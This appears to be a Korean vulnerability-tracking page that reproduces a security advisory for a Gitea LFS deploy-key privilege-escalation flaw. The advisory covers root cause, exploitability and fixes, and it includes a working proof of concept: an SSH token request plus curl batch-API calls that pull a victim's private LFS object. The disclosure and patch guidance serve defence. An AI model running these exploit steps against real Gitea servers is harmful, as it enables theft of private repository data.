Kestrel
대시보드로 돌아가기
CVE-2026-58435MEDIUM· 5.4GHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea LFS Deploy-Key Privilege Escalation

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
5.4medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향낮음
가용성 영향없음
버전별 점수
CVSS 3.15.4MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

상세 설명

Vulnerability Header

FieldValue
Vulnerability TitleGitea LFS Deploy-Key Privilege Escalation
Severity RatingHigh
Bug CategoryInsufficient Authorization
Locationservices/lfs/server.go:268, routers/private/serv.go:275
Affected Versions1.25.5

Executive Summary

Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal — but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.

Root Cause Analysis

Technical Description

The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo owner, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.

First Faulty Condition

The primary bug — where the JWT UserID is set incorrectly — is in serv.go:

Filerouters/private/serv.go
Line275
ConditionDeploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268
text
1// routers/private/serv.go:252278
2if key.Type == asymkey_model.KeyTypeDeploy {
3 ...
4 // FIXME: Deploy keys aren't really the owner of the repo pushing changes
5 // however we don't have good way of representing deploy keys in hook.go
6 // so for now use the owner of the repository
7 results.UserName = results.OwnerName
8 results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key
9 ...
10}

The secondary bug — where the tainted UserID is actually misused — is in server.go:

Fileservices/lfs/server.go
Line268
ConditionLFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder
text
1// services/lfs/server.go:267275
2if exists && meta == nil {
3 accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
4 ...
5 if accessible {
6 _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo
7 ...
8 }
9}

Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.

Exploitability Assessment

Attack Vector & Reachability

Attack vectorNetwork
Authentication requiredLow: attacker must hold a write deploy key's private key material for any of victim's repositories
User interaction requiredNone
Reachable in default configNo. Requires LFS_START_SERVER = true
Entry point(s)SSH git-lfs-authenticate command + HTTP LFS batch API

The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.

LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.

Reproduction Steps

Environment

The issue was reproduced using gitea/gitea:1.25.5 docker image.

Setup (performed as victim/admin — represents normal deployment state)

bash
1# 1. Victim creates a private repo and uploads an LFS object
2git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
3cd secret-repo
4git lfs track "*.bin"
5echo "TOP SECRET: password is hunter2" > secret.bin
6git add .gitattributes secret.bin && git commit -m "secret"
7git push && git lfs push origin main
8
9# Note the OID and size from:
10git lfs pointer --file=secret.bin
11# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
12# size 32
13
14# 2. Victim creates ci-repo and registers a write deploy key
15# (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
16# Attacker holds the corresponding private key (e.g. leaked from CI config)

Exploit

bash
1# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
2ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
3 "git-lfs-authenticate victim/ci-repo upload"
4# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
5# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
6# ^^^^^^^^ victim's UID — BUG
7
8JWT="eyJ..."
9OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
10SIZE=32
11
12# Step 2 — Confirm attacker is blocked from secret-repo directly
13curl -s -H "Authorization: Bearer $JWT" \
14 "http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
15# → {"Message":"Unauthorized"} — correctly blocked
16
17# Step 3 — Batch upload to ci-repo claiming the secret OID
18curl -s -X POST \
19 -H "Authorization: Bearer $JWT" \
20 -H "Accept: application/vnd.git-lfs+json" \
21 -H "Content-Type: application/vnd.git-lfs+json" \
22 "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
23 -d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
24# → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field
25# server silently linked the OID to ci-repo without demanding proof of possession
26
27# Step 4 — Download the secret via ci-repo
28curl -s -H "Authorization: Bearer $JWT" \
29 "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
30# → TOP SECRET: password is hunter2

Expected output

text
1Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo
2Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked
3Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo

PoC files

  • poc.sh — end-to-end PoC using real SSH deploy key

Recommended Fix

A proper fix might require significant architecture change. A short term recommendation is presented below:

Fix 1 — services/lfs/server.go:267 (defense in depth, immediately effective)

Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about other repos should not be made using the JWT UserID.

text
1// BEFORE (vulnerable):
2if exists && meta == nil {
3 accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
4 if err != nil {
5 log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
6 writeStatus(ctx, http.StatusInternalServerError)
7 return
8 }
9 if accessible {
10 _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
11 if err != nil {
12 log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
13 writeStatus(ctx, http.StatusInternalServerError)
14 return
15 }
16 } else {
17 exists = false
18 }
19}
text
1// After (safe):
2if exists && meta == nil {
3 // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
4 // access to this repo. Always require proof-of-possession for objects
5 // not already linked here.
6 exists = false
7}

The client will re-upload the bytes (which are hash-verified).
Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.

Full patch: fix1.patch

Fix 2 — routers/private/serv.go:275 (fix the source)

Stop embedding repo.OwnerID in the JWT for deploy keys. Options:

  • Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
  • Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.

Patch provenance: AI-generated + Human-reviewed

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.